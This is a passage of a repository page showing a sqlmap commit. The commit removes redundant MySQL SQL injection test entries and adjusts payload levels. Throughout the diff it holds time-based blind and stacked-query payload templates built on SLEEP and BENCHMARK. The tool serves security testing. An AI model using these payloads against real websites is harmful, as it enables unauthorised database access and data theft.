sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2024-11-22 17:46:37 +03:00
Code Issues Packages Projects Releases Wiki Activity

Cleaning some redundant payload(s)

Browse Source
This commit is contained in:
Miroslav Stampar 2016-05-27 23:58:42 +02:00
parent d27b33e26c
commit 79d08906a4
3 changed files with 16 additions and 180 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
lib/core/settings.py
View File

@ -19,7 +19,7 @@ from lib.core.enums import OS
from lib.core.revision import getRevisionNumber from lib.core.revision import getRevisionNumber
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.0.5.94" VERSION = "1.0.5.95"
REVISION = getRevisionNumber() REVISION = getRevisionNumber()
STABLE = VERSION.count('.') <= 2 STABLE = VERSION.count('.') <= 2
VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev") VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")

45
xml/payloads/04_stacked_queries.xml
View File

@ -2,51 +2,10 @@
<root> <root>
<!-- Stacked queries tests --> <!-- Stacked queries tests -->
<test>
<title>MySQL &gt; 5.0.11 stacked queries (SLEEP - comment)</title>
<stype>4</stype>
<level>1</level>
<risk>1</risk>
<clause>0</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt; 5.0.11 stacked queries (SLEEP)</title>
<stype>4</stype>
<level>2</level>
<risk>1</risk>
<clause>0</clause>
<where>1</where>
<vector>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt; 5.0.11 stacked queries (comment)</title> <title>MySQL &gt; 5.0.11 stacked queries (comment)</title>
<stype>4</stype> <stype>4</stype>
<level>2</level> <level>1</level>
<risk>1</risk> <risk>1</risk>
<clause>0</clause> <clause>0</clause>
<where>1</where> <where>1</where>
@ -67,7 +26,7 @@
<test> <test>
<title>MySQL &gt; 5.0.11 stacked queries</title> <title>MySQL &gt; 5.0.11 stacked queries</title>
<stype>4</stype> <stype>4</stype>
<level>3</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>0</clause> <clause>0</clause>
<where>1</where> <where>1</where>

149
xml/payloads/05_time_blind.xml
View File

@ -2,92 +2,10 @@
<root> <root>
<!-- Time-based boolean tests --> <!-- Time-based boolean tests -->
<test>
<title>MySQL &gt;= 5.0.12 AND time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 OR time-based blind (SLEEP)</title>
<stype>5</stype>
<level>1</level>
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 AND time-based blind (SLEEP - comment)</title>
<stype>5</stype>
<level>3</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 OR time-based blind (SLEEP - comment)</title>
<stype>5</stype>
<level>3</level>
<risk>3</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.0.12 AND time-based blind</title> <title>MySQL &gt;= 5.0.12 AND time-based blind</title>
<stype>5</stype> <stype>5</stype>
<level>2</level> <level>1</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>1</where> <where>1</where>
@ -107,7 +25,7 @@
<test> <test>
<title>MySQL &gt;= 5.0.12 OR time-based blind</title> <title>MySQL &gt;= 5.0.12 OR time-based blind</title>
<stype>5</stype> <stype>5</stype>
<level>2</level> <level>1</level>
<risk>3</risk> <risk>3</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>1</where> <where>1</where>
@ -127,7 +45,7 @@
<test> <test>
<title>MySQL &gt;= 5.0.12 AND time-based blind (comment)</title> <title>MySQL &gt;= 5.0.12 AND time-based blind (comment)</title>
<stype>5</stype> <stype>5</stype>
<level>4</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>1</where> <where>1</where>
@ -148,7 +66,7 @@
<test> <test>
<title>MySQL &gt;= 5.0.12 OR time-based blind (comment)</title> <title>MySQL &gt;= 5.0.12 OR time-based blind (comment)</title>
<stype>5</stype> <stype>5</stype>
<level>4</level> <level>3</level>
<risk>3</risk> <risk>3</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>1</where> <where>1</where>
@ -248,51 +166,10 @@
</details> </details>
</test> </test>
<test>
<title>MySQL &gt;= 5.0.12 RLIKE time-based blind (SLEEP)</title>
<stype>5</stype>
<level>2</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test>
<title>MySQL &gt;= 5.0.12 RLIKE time-based blind (SLEEP - comment)</title>
<stype>5</stype>
<level>4</level>
<risk>1</risk>
<clause>1,2,3,9</clause>
<where>1</where>
<vector>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])</vector>
<request>
<payload>RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])</payload>
<comment>#</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt;= 5.0.12</dbms_version>
</details>
</test>
<test> <test>
<title>MySQL &gt;= 5.0.12 RLIKE time-based blind</title> <title>MySQL &gt;= 5.0.12 RLIKE time-based blind</title>
<stype>5</stype> <stype>5</stype>
<level>5</level> <level>2</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>1</where> <where>1</where>
@ -312,7 +189,7 @@
<test> <test>
<title>MySQL &gt;= 5.0.12 RLIKE time-based blind (comment)</title> <title>MySQL &gt;= 5.0.12 RLIKE time-based blind (comment)</title>
<stype>5</stype> <stype>5</stype>
<level>5</level> <level>4</level>
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>1</where> <where>1</where>
@ -1392,9 +1269,9 @@
<risk>1</risk> <risk>1</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector> <vector>(CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload> <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)</payload>
</request> </request>
<response> <response>
<time>[SLEEPTIME]</time> <time>[SLEEPTIME]</time>
@ -1406,7 +1283,7 @@
</test> </test>
<test> <test>
<title>MySQL &gt;= 5.0.12 time-based blind - Parameter replace (SLEEP)</title> <title>MySQL &gt;= 5.0.12 time-based blind - Parameter replace (substraction)</title>
<stype>5</stype> <stype>5</stype>
<level>3</level> <level>3</level>
<risk>1</risk> <risk>1</risk>
@ -1432,9 +1309,9 @@
<risk>2</risk> <risk>2</risk>
<clause>1,2,3,9</clause> <clause>1,2,3,9</clause>
<where>3</where> <where>3</where>
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</vector> <vector>(CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</vector>
<request> <request>
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM mysql.db) END))</payload> <payload>(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM])</payload>
</request> </request>
<response> <response>
<time>[DELAYED]</time> <time>[DELAYED]</time>
@ -1769,9 +1646,9 @@
<risk>1</risk> <risk>1</risk>
<clause>2,3</clause> <clause>2,3</clause>
<where>1</where> <where>1</where>
<vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</vector> <vector>,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</vector>
<request> <request>
<payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM]*(SELECT [RANDNUM] FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))</payload> <payload>,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))</payload>
</request> </request>
<response> <response>
<time>[SLEEPTIME]</time> <time>[SLEEPTIME]</time>